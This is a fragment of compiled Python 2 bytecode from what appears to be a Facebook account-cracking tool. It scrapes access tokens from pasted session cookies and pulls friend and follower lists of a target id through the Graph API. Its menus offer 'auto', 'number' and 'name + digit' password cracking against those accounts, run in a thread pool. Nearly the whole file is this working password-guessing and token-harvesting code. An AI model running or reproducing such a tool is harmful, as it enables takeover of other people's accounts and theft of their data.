x06\x00\x00\x00R\x04\x00\x00\x00s#\x00\x00\x00\x1b[1;93m ~~~~ Login menu ~~~~\x1b[1;91mi/\x00\x00\x00t\x01\x00\x00\x00-s\x1e\x00\x00\x00\x1b[1;92m[1] Login with FaceBooks\x1b\x00\x00\x00\x1b[1;92m[2] Login with tokens\x1d\x00\x00\x00\x1b[1;92m[3] Login with cookiesR\x05\x00\x00\x00(\x08\x00\x00\x00R\r\x00\x00\x00t\x04\x00\x00\x00menuR\x0f\x00\x00\x00R\x10\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00t\n\x00\x00\x00log_menu_s(\x01\x00\x00\x00t\x07\x00\x00\x00t_check(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR\'\x00\x00\x00k\x00\x00\x00s\x1a\x00\x00\x00\x00\x01\x03\x01\x0f\x01\x0b\x01\x13\x01\r\x01\x05\x01\x05\x01\t\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00sh\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r"\x00t\x01\x00\x83\x00\x00\x01nB\x00|\x00\x00d\x03\x00k\x02\x00r8\x00t\x02\x00\x83\x00\x00\x01n,\x00|\x00\x00d\x04\x00k\x02\x00rN\x00t\x03\x00\x83\x00\x00\x01n\x16\x00d\x05\x00GHd\x06\x00GHd\x05\x00GHt\x04\x00\x83\x00\x00\x01d\x00\x00S(\x07\x00\x00\x00Ns\x16\x00\x00\x00 \x1b[1;97m\xe2\x95\xb0\xe2\x94\x80Jutt\xe2\x9e\xa4 t\x01\x00\x00\x001t\x01\x00\x00\x002t\x01\x00\x00\x003R\x05\x00\x00\x00s\x16\x00\x00\x00\\ Select valid option (\x05\x00\x00\x00R\x16\x00\x00\x00t\x06\x00\x00\x00log_fbt\t\x00\x00\x00log_tokent\n\x00\x00\x00log_cookieR/\x00\x00\x00(\x01\x00\x00\x00t\x01\x00\x00\x00s(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR/\x00\x00\x00{\x00\x00\x00s\x16\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x02\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\r\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHd\x02\x00GHd\x03\x00d\x04\x00\x14GHt\x03\x00d\x05\x00\x83\x01\x00}\x00\x00t\x03\x00d\x06\x00\x83\x01\x00}\x01\x00y\xb0\x00t\x04\x00j\x05\x00d\x07\x00t\x06\x00\x17d\x08\x00\x17t\x07\x00\x17\x83\x01\x00j\x08\x00}\x02\x00t\t\x00j\n\x00|\x02\x00\x83\x01\x00}\x03\x00d\t\x00|\x03\x00k\x06\x00r\xa8\x00t\x0b\x00d\n\x00d\x0b\x00\x83\x02\x00}\x04\x00|\x04\x00j\x0c\x00|\x03\x00d\t\x00\x19\x83\x01\x00\x01|\x04\x00j\r\x00\x83\x00\x00\x01t\x0e\x00\x83\x00\x00\x01n?\x00d\x0c\x00|\x03\x00d\r\x00\x19k\x06\x00r\xd1\x00d\x0e\x00GHt\x03\x00d\x0f\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01n\x16\x00d\x10\x00GHt\x03\x00d\x11\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01Wn\x1e\x00\x01\x01\x01d\x12\x00GHd\x13\x00GHt\x00\x00j\x01\x00d\x14\x00\x83\x01\x00\x01n\x01\x00Xd\x00\x00S(\x15\x00\x00\x00NR\x04\x00\x00\x00s\x1b\x00\x00\x00\x1b[1;31;1mLogin with id/passi/\x00\x00\x00R-\x00\x00\x00s\x14\x00\x00\x00\x1b[1;92m Id/mail/no: s\x12\x00\x00\x00 \x1b[1;93mPassword: s\x1e\x00\x00\x00http://localhost:5000/auth?id=s\x06\x00\x00\x00&pass=t\x03\x00\x00\x00locs\x10\x00\x00\x00access_token.txtR\x19\x00\x00\x00s\x10\x00\x00\x00www.facebook.comt\x05\x00\x00\x00errors&\x00\x00\x00 User must verify account before logins!\x00\x00\x00\x1b[1;92m Press enter to try again s\x15\x00\x00\x00 Id/Pass may be wrongs!\x00\x00\x00 \x1b[1;92mPress enter to try again R\x05\x00\x00\x00s\x0c\x00\x00\x00Exiting toolt\x04\x00\x00\x00exit(\x10\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x16\x00\x00\x00R\x12\x00\x00\x00R\x13\x00\x00\x00t\x03\x00\x00\x00uidt\x03\x00\x00\x00pwdR\x14\x00\x00\x00R%\x00\x00\x00R&\x00\x00\x00R\r\x00\x00\x00R\x1d\x00\x00\x00R\x1e\x00\x00\x00R.\x00\x00\x00R4\x00\x00\x00(\x05\x00\x00\x00t\x03\x00\x00\x00lidt\x04\x00\x00\x00pwdst\x04\x00\x00\x00datat\x01\x00\x00\x00qt\x02\x00\x00\x00ts(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR4\x00\x00\x00\x8a\x00\x00\x00s2\x00\x00\x00\x00\x01\r\x01\x05\x01\x05\x01\t\x01\x0c\x01\x0c\x01\x03\x01\x1e\x01\x0f\x01\x0c\x01\x0f\x01\x11\x01\n\x01\n\x01\x10\x01\x05\x01\n\x01\n\x02\x05\x01\n\x01\x0b\x01\x03\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00sf\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHd\x02\x00GHd\x03\x00d\x04\x00\x14GHt\x03\x00d\x05\x00\x83\x01\x00}\x00\x00d\x03\x00d\x04\x00\x14GHt\x04\x00d\x06\x00d\x07\x00\x83\x02\x00}\x01\x00|\x01\x00j\x05\x00|\x00\x00\x83\x01\x00\x01|\x01\x00j\x06\x00\x83\x00\x00\x01t\x07\x00\x83\x00\x00\x01d\x00\x00S(\x08\x00\x00\x00NR\x04\x00\x00\x00s\x1e\x00\x00\x00\x1b[1;93mLogin with token\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s!\x00\x00\x00 \x1b[1;92mPaste token here: \x1b[1;91ms\x10\x00\x00\x00access_token.txtR\x19\x00\x00\x00(\x08\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x16\x00\x00\x00R\r\x00\x00\x00R\x1d\x00\x00\x00R\x1e\x00\x00\x00R.\x00\x00\x00(\x02\x00\x00\x00t\x03\x00\x00\x00tokt\x03\x00\x00\x00t_s(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR5\x00\x00\x00\xa7\x00\x00\x00s\x14\x00\x00\x00\x00\x01\r\x01\x05\x01\x05\x01\t\x01\x0c\x01\t\x01\x0f\x01\r\x01\n\x01c\x00\x00\x00\x00\x06\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\x81\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHd\x02\x00GHd\x03\x00GHd\x02\x00GHy\xc2\x00t\x03\x00d\x04\x00\x83\x01\x00}\x00\x00i\n\x00d\x05\x00d\x06\x006d\x07\x00d\x08\x006d\t\x00d\n\x006d\x0b\x00d\x0c\x006d\r\x00d\x0e\x006d\x0f\x00d\x10\x006d\x11\x00d\x12\x006d\x13\x00d\x14\x006d\x15\x00d\x16\x006|\x00\x00d\x17\x006}\x01\x00t\x04\x00j\x05\x00d\x18\x00d\x19\x00|\x01\x00\x83\x01\x01}\x02\x00t\x06\x00j\x07\x00d\x1a\x00|\x02\x00j\x08\x00\x83\x02\x00}\x03\x00|\x03\x00j\t\x00d\x1b\x00\x83\x01\x00}\x04\x00t\n\x00d\x1c\x00d\x1d\x00\x83\x02\x00}\x05\x00|\x05\x00j\x0b\x00|\x04\x00\x83\x01\x00\x01|\x05\x00j\x0c\x00\x83\x00\x00\x01t\r\x00\x83\x00\x00\x01Wn\x97\x00\x04t\x0e\x00k\n\x00r\x16\x01\x01\x01\x01d\x02\x00GHd\x1e\x00GHd\x02\x00GHt\x03\x00d\x1f\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01ng\x00\x04t\x10\x00k\n\x00rF\x01\x01\x01\x01d\x02\x00GHd\x1e\x00GHd\x02\x00GHt\x03\x00d\x1f\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01n7\x00\x04t\x04\x00j\x11\x00j\x12\x00k\n\x00r|\x01\x01\x01\x01d\x02\x00GHd\x1e\x00GHd\x02\x00GHt\x03\x00d\x1f\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S( \x00\x00\x00NR\x04\x00\x00\x00R\x05\x00\x00\x00s\x16\x00\x00\x00\x1b[1;31;1mLogin Cookiess\x15\x00\x00\x00 Paste cookies here: sl\x00\x00\x00Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Kiwi Chrome/68.0.3438.0 Safari/537.36s\n\x00\x00\x00user-agents\x17\x00\x00\x00https://m.facebook.com/t\x07\x00\x00\x00referers\x0e\x00\x00\x00m.facebook.comt\x04\x00\x00\x00hosts\x16\x00\x00\x00https://m.facebook.comt\x06\x00\x00\x00originR1\x00\x00\x00s\x19\x00\x00\x00upgrade-insecure-requestss#\x00\x00\x00id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7s\x0f\x00\x00\x00accept-languages\t\x00\x00\x00max-age=0s\r\x00\x00\x00cache-controlsU\x00\x00\x00text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8t\x06\x00\x00\x00accepts\x18\x00\x00\x00text/html; charset=utf-8s\x0c\x00\x00\x00content-typet\x06\x00\x00\x00cookiesG\x00\x00\x00https://m.facebook.com/composer/ocelot/async_loader/?publisher=feed#_=_t\x07\x00\x00\x00headerss\t\x00\x00\x00(EAAA\\w+)i\x01\x00\x00\x00s\x10\x00\x00\x00access_token.txtR\x19\x00\x00\x00s\x10\x00\x00\x00\tInvalid cookiess!\x00\x00\x00 \x1b[1;92mPress enter to try again (\x13\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x16\x00\x00\x00R\x12\x00\x00\x00R\x13\x00\x00\x00t\x02\x00\x00\x00ret\x06\x00\x00\x00searchR\x14\x00\x00\x00t\x05\x00\x00\x00groupR\r\x00\x00\x00R\x1d\x00\x00\x00R\x1e\x00\x00\x00R.\x00\x00\x00t\x0e\x00\x00\x00AttributeErrorR\'\x00\x00\x00t\x11\x00\x00\x00UnboundLocalErrort\n\x00\x00\x00exceptionst\x08\x00\x00\x00SSLError(\x06\x00\x00\x00RH\x00\x00\x00R?\x00\x00\x00t\x02\x00\x00\x00c1t\x02\x00\x00\x00c2t\x05\x00\x00\x00hasilt\x02\x00\x00\x00ok(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR6\x00\x00\x00\xb4\x00\x00\x00sT\x00\x00\x00\x00\x01\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x03\x01\x0c\x01\n\x01\x07\x01\x07\x01\x07\x01\x07\x01\x07\x01\x07\x01\x07\x01\x07\x01\n\x01\x15\x01\x15\x01\x0f\x01\x0f\x01\r\x01\n\x01\x0b\x01\r\x01\x05\x01\x05\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\x05\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\x05\x01\x05\x01\n\x01c\x00\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\x90\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn:\x00\x04t\x04\x00t\x05\x00f\x02\x00k\n\x00rb\x00\x01\x01\x01d\x04\x00GHt\x06\x00GHd\x05\x00GHt\x07\x00j\x08\x00d\x06\x00\x83\x01\x00\x01t\t\x00\x83\x00\x00\x01n\x01\x00Xy3\x00t\n\x00j\x0b\x00d\x07\x00|\x00\x00\x17\x83\x01\x00}\x01\x00t\x0c\x00j\r\x00|\x01\x00j\x0e\x00\x83\x01\x00}\x02\x00|\x02\x00d\x08\x00\x19}\x03\x00Wn\x87\x00\x04t\x04\x00t\x05\x00f\x02\x00k\n\x00r\xe4\x00\x01\x01\x01t\x06\x00GHd\x04\x00GHd\t\x00GHd\x04\x00GHt\x00\x00j\x01\x00d\n\x00\x83\x01\x00\x01t\x07\x00j\x08\x00d\x06\x00\x83\x01\x00\x01t\t\x00\x83\x00\x00\x01n<\x00\x04t\n\x00j\x0f\x00j\x10\x00k\n\x00r\x1f\x01\x01\x01\x01t\x06\x00GHd\x04\x00GHd\x0b\x00GHd\x04\x00GHt\x11\x00d\x0c\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x06\x00GHt\x02\x00d\r\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x04\x00d\x0e\x00|\x03\x00\x17GHd\x0f\x00d\x10\x00\x14GHd\x11\x00|\x04\x00\x17GHd\x12\x00GHd\x13\x00GHd\x14\x00GHd\x15\x00GHd\x16\x00GHd\x17\x00GHd\x18\x00GHt\x13\x00\x83\x00\x00\x01d\x00\x00S(\x19\x00\x00\x00NR\x04\x00\x00\x00s\x10\x00\x00\x00access_token.txtR\x06\x00\x00\x00R\x05\x00\x00\x00s \x00\x00\x00\x1b[1;31;1mLogin FB id to continuei\x01\x00\x00\x00s+\x00\x00\x00https://graph.facebook.com/me?access_token=t\x04\x00\x00\x00names\x1b\x00\x00\x00\t Account Cheekpoint\x1b[0;97ms\x17\x00\x00\x00rm -rf access_token.txts!\x00\x00\x00\t Turn on mobile data/wifi\x1b[0;97ms6\x00\x00\x00 \x1b[1;92mPress enter after turning on mobile data/wifi s\x10\x00\x00\x00/sdcard/.hst.txts \x00\x00\x00  \x1b[1;92mLogged in user: \x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s\x1e\x00\x00\x00 \x1b[1;93m Active token: \x1b[1;91ms,\x00\x00\x00 ------------------------------------------ s&\x00\x00\x00\x1b[1;92m[1] Crack with Auto password 10s\'\x00\x00\x00\x1b[1;92m[2] Crack with Number password 6s.\x00\x00\x00\x1b[1;92m[3] Crack with Name + Number password 8s\x17\x00\x00\x00\x1b[1;92m[4] Extract Files\x11\x00\x00\x00\x1b[1;92m[5] Logouts\x1d\x00\x00\x00\x1b[1;92m[6] Delete trash files(\x14\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\'\x00\x00\x00R\x12\x00\x00\x00R\x13\x00\x00\x00R%\x00\x00\x00R&\x00\x00\x00R\x14\x00\x00\x00RO\x00\x00\x00R\x01\x00\x00\x00R\x16\x00\x00\x00R.\x00\x00\x00t\x06\x00\x00\x00menu_s(\x05\x00\x00\x00t\x05\x00\x00\x00tokenR\x06\x00\x00\x00R@\x00\x00\x00R)\x00\x00\x00RB\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR.\x00\x00\x00\xe1\x00\x00\x00sT\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\x13\x01\x05\x01\x05\x01\x05\x01\r\x01\x0b\x02\x03\x01\x13\x01\x12\x01\x0e\x01\x13\x01\x05\x01\x05\x01\x05\x01\x05\x01\r\x01\r\x01\n\x01\x13\x01\x05\x01\x05\x01\x05\x01\x05\x01\n\x01\x0b\x02\r\x01\x05\x01\x15\x01\t\x01\t\x01\t\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\xb0\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r"\x00t\x01\x00\x83\x00\x00\x01n\x8a\x00|\x00\x00d\x03\x00k\x02\x00r8\x00t\x02\x00\x83\x00\x00\x01nt\x00|\x00\x00d\x04\x00k\x02\x00rN\x00t\x03\x00\x83\x00\x00\x01n^\x00|\x00\x00d\x05\x00k\x02\x00rj\x00t\x04\x00j\x05\x00d\x06\x00\x83\x01\x00\x01nB\x00|\x00\x00d\x07\x00k\x02\x00r\x80\x00t\x06\x00\x83\x00\x00\x01n,\x00|\x00\x00d\x08\x00k\x02\x00r\x96\x00t\x07\x00\x83\x00\x00\x01n\x16\x00d\t\x00GHd\n\x00GHd\t\x00GHt\x08\x00\x83\x00\x00\x01d\x00\x00S(\x0b\x00\x00\x00Ns\x15\x00\x00\x00\x1b[1;97m\xe2\x95\xb0\xe2\x94\x80jutt\xe2\x9e\xa4 R1\x00\x00\x00R2\x00\x00\x00R3\x00\x00\x00t\x01\x00\x00\x004s\r\x00\x00\x00python2 ok.pyt\x01\x00\x00\x005t\x01\x00\x00\x006R\x05\x00\x00\x00s\x14\x00\x00\x00\tSelect valid option(\t\x00\x00\x00R\x16\x00\x00\x00t\n\x00\x00\x00auto_crackt\x0c\x00\x00\x00choice_crackt\n\x00\x00\x00name_crackR\x08\x00\x00\x00R\t\x00\x00\x00t\x04\x00\x00\x00loutt\x06\x00\x00\x00rtrashRV\x00\x00\x00(\x01\x00\x00\x00t\x02\x00\x00\x00ms(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepRV\x00\x00\x00\x10\x01\x00\x00s"\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\x10\x01\x0c\x01\n\x01\x0c\x01\n\x02\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xa2\x00\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00a\x02\x00WnG\x00\x04t\x03\x00t\x04\x00f\x02\x00k\n\x00rb\x00\x01\x01\x01t\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x04\x00GHd\x05\x00GHt\x08\x00j\t\x00d\x06\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01n\x01\x00Xt\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x07\x00GHd\x08\x00d\t\x00\x14GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHt\x0b\x00\x83\x00\x00\x01d\x00\x00S(\x0e\x00\x00\x00Ns\t\x00\x00\x00login.txtR\x06\x00\x00\x00R\x04\x00\x00\x00s\x18\x00\x00\x00\t File Not Found \x1b[0;97mR\x05\x00\x00\x00i\x01\x00\x00\x00s*\x00\x00\x00\x1b[1;93m~~~~ Auto pass cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s\x1c\x00\x00\x00\x1b[1;92m[1] Public id clonings\x1c\x00\x00\x00\x1b[1;92m[2] Followers clonings\x17\x00\x00\x00\x1b[1;92m[3] File clonings\x0f\x00\x00\x00\x1b[1;92m[0] Back(\x0c\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00t\x05\x00\x00\x00toketR\x0f\x00\x00\x00R\x10\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\'\x00\x00\x00t\x03\x00\x00\x00a_s(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00Asept\x05\x00\x00\x00crack%\x01\x00\x00s$\x00\x00\x00\x00\x02\x03\x01\x19\x01\x13\x01\r\x01\x05\x01\x05\x01\x05\x01\r\x01\x0b\x02\r\x01\x05\x01\x05\x01\t\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xa2\x00\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00a\x02\x00WnG\x00\x04t\x03\x00t\x04\x00f\x02\x00k\n\x00rb\x00\x01\x01\x01t\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x04\x00GHd\x05\x00GHt\x08\x00j\t\x00d\x06\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01n\x01\x00Xt\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x07\x00GHd\x08\x00d\t\x00\x14GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHt\x0b\x00\x83\x00\x00\x01d\x00\x00S(\x0e\x00\x00\x00Ns\x10\x00\x00\x00access_token.txtR\x06\x00\x00\x00R\x04\x00\x00\x00s \x00\x00\x00\t Login FB id to continue\x1b[0;97mR\x05\x00\x00\x00i\x01\x00\x00\x00s*\x00\x00\x00\x1b[1;93m~~~~ Auto pass cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s\x1c\x00\x00\x00\x1b[1;92m[1] Public id clonings\x1c\x00\x00\x00\x1b[1;92m[2] Followers clonings\x17\x00\x00\x00\x1b[1;92m[3] File clonings\x0f\x00\x00\x00\x1b[1;92m[B] Back(\x0c\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00RW\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\'\x00\x00\x00Rb\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR[\x00\x00\x00<\x01\x00\x00s$\x00\x00\x00\x00\x02\x03\x01\x19\x01\x13\x01\r\x01\x05\x01\x05\x01\x05\x01\r\x01\x0b\x02\r\x01\x05\x01\x05\x01\t\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x12\x00\x00\x00\x06\x00\x00\x00\x03\x00\x00\x00s}\x04\x00\x00g\x00\x00}\x00\x00g\x00\x00\x89\x00\x00g\x00\x00\x89\x01\x00t\x00\x00d\x01\x00\x83\x01\x00}\x01\x00|\x01\x00d\x02\x00k\x02\x00rb\x01t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x04\x00GHd\x05\x00d\x06\x00\x14GHt\x00\x00d\x07\x00\x83\x01\x00}\x02\x00y[\x00t\x04\x00j\x05\x00d\x08\x00|\x02\x00\x17d\t\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x04\x00|\x04\x00d\n\x00\x19}\x05\x00t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x0b\x00GHd\x0c\x00|\x05\x00\x17GHWn-\x00\x04t\n\x00t\x0b\x00f\x02\x00k\n\x00r\xe0\x00\x01\x01\x01d\r\x00GHt\x00\x00d\x0e\x00\x83\x01\x00\x01t\x0c\x00\x83\x00\x00\x01n\x01\x00Xt\x04\x00j\x05\x00d\x08\x00|\x02\x00\x17d\x0f\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x05\x00x\x9e\x02|\x05\x00d\x10\x00\x19D]B\x00}\x06\x00|\x06\x00d\x11\x00\x19}\x07\x00|\x06\x00d\n\x00\x19}\x08\x00|\x08\x00j\r\x00d\x12\x00\x83\x01\x00d\x13\x00\x19}\t\x00|\x00\x00j\x0e\x00|\x07\x00d\x14\x00\x17|\t\x00\x17\x83\x01\x00\x01q\x19\x01WnM\x02|\x01\x00d\x15\x00k\x02\x00r\xe8\x02t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x16\x00GHd\x05\x00d\x06\x00\x14GHd\x17\x00GHd\x05\x00d\x06\x00\x14GHt\x00\x00d\x18\x00\x83\x01\x00}\n\x00t\x00\x00d\x19\x00\x83\x01\x00}\x0b\x00t\x00\x00d\x1a\x00\x83\x01\x00}\x0c\x00t\x00\x00d\x1b\x00\x83\x01\x00}\r\x00t\x00\x00d\x07\x00\x83\x01\x00}\x02\x00y[\x00t\x04\x00j\x05\x00d\x08\x00|\x02\x00\x17d\t\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x04\x00|\x04\x00d\n\x00\x19}\x05\x00t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x1c\x00GHd\x0c\x00|\x05\x00\x17GHWn-\x00\x04t\n\x00t\x0b\x00f\x02\x00k\n\x00rb\x02\x01\x01\x01d\r\x00GHt\x00\x00d\x1d\x00\x83\x01\x00\x01t\x0c\x00\x83\x00\x00\x01n\x01\x00Xt\x04\x00j\x05\x00d\x08\x00|\x02\x00\x17d\x1e\x00\x17t\x06\x00\x17d\x1f\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x05\x00x\x18\x01|\x05\x00d\x10\x00\x19D]B\x00}\x06\x00|\x06\x00d\x11\x00\x19}\x07\x00|\x06\x00d\n\x00\x19}\x08\x00|\x08\x00j\r\x00d\x12\x00\x83\x01\x00d\x13\x00\x19}\t\x00|\x00\x00j\x0e\x00|\x07\x00d\x14\x00\x17|\t\x00\x17\x83\x01\x00\x01q\x9f\x02Wn\xc7\x00|\x01\x00d \x00k\x02\x00r\x84\x03t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd!\x00GHd\x05\x00d\x06\x00\x14GHyC\x00t\x00\x00d"\x00\x83\x01\x00}\x0e\x00x0\x00t\x0f\x00|\x0e\x00d#\x00\x83\x02\x00j\x10\x00\x83\x00\x00D]\x19\x00}\x0f\x00|\x00\x00j\x0e\x00|\x0f\x00j\x11\x00\x83\x00\x00\x83\x01\x00\x01q9\x03WWq\xaf\x03\x04t\x0b\x00k\n\x00r\x80\x03\x01\x01\x01d$\x00GHt\x00\x00d%\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01q\xaf\x03Xn+\x00|\x01\x00d&\x00k\x02\x00r\x9a\x03t\x13\x00\x83\x00\x00\x01n\x15\x00d\'\x00GHd(\x00t\x14\x00\x17GH|\x01\x00\x83\x00\x00\x01d)\x00t\x15\x00t\x16\x00|\x00\x00\x83\x01\x00\x83\x01\x00\x17GHt\x17\x00j\x18\x00d*\x00\x83\x01\x00\x01d+\x00GHt\x17\x00j\x18\x00d*\x00\x83\x01\x00\x01d\x05\x00d\x06\x00\x14GHd,\x00GHd\x05\x00d\x06\x00\x14GH\x87\x00\x00\x87\x01\x00f\x02\x00d-\x00\x86\x00\x00}\x10\x00t\x19\x00d.\x00\x83\x01\x00}\x11\x00|\x11\x00j\x1a\x00|\x10\x00|\x00\x00\x83\x02\x00\x01d\x05\x00d\x06\x00\x14GHd/\x00GHd0\x00t\x15\x00t\x16\x00\x88\x01\x00\x83\x01\x00\x83\x01\x00\x17d1\x00\x17t\x15\x00t\x16\x00\x88\x00\x00\x83\x01\x00\x83\x01\x00\x17GHd\x05\x00d\x06\x00\x14GHt\x00\x00d2\x00\x83\x01\x00\x01t\x0c\x00\x83\x00\x00\x01d\x00\x00S(3\x00\x00\x00Ns\x16\x00\x00\x00 \x1b[1;97m\xe2\x95\xb0\xe2\x94\x80jutt\xe2\x9e\xa4 R1\x00\x00\x00R\x04\x00\x00\x00s1\x00\x00\x00\x1b[1;93m~~~~ Auto pass public cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s\x17\x00\x00\x00 \x1b[1;93m[\xe2\x98\x85]Enter id: s\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=RU\x00\x00\x00s(\x00\x00\x00\x1b[1;93m~~~~Auto pass public cracking~~~~s\x16\x00\x00\x00 \x1b[1;92mCloning from: s\x16\x00\x00\x00\t Invalid user \x1b[0;97ms!\x00\x00\x00 \x1b[1;92mPress enter to try again s\x16\x00\x00\x00/friends?access_token=R?\x00\x00\x00R\x1f\x00\x00\x00t\x01\x00\x00\x00 i\x00\x00\x00\x00t\x01\x00\x00\x00|R2\x00\x00\x00s4\x00\x00\x00\x1b[1;93m~~~~ Name pass followers cracking ~~~~\x1b[1;91ms5\x00\x00\x00 \x1b[1;93mFor example:123,1234,12345,786,12,1122\x1b[1;91ms\x19\x00\x00\x00 \x1b[1;92m[1]Name + digit: s\x19\x00\x00\x00 \x1b[1;92m[2]Name + digit: s\x19\x00\x00\x00 \x1b[1;92m[3]Name + digit: s\x19\x00\x00\x00 \x1b[1;92m[4]Name + digit: s-\x00\x00\x00\x1b[1;93m~~~~ Name pass followers cracking ~~~~s \x00\x00\x00\x1b[1;92mPress enter to try again 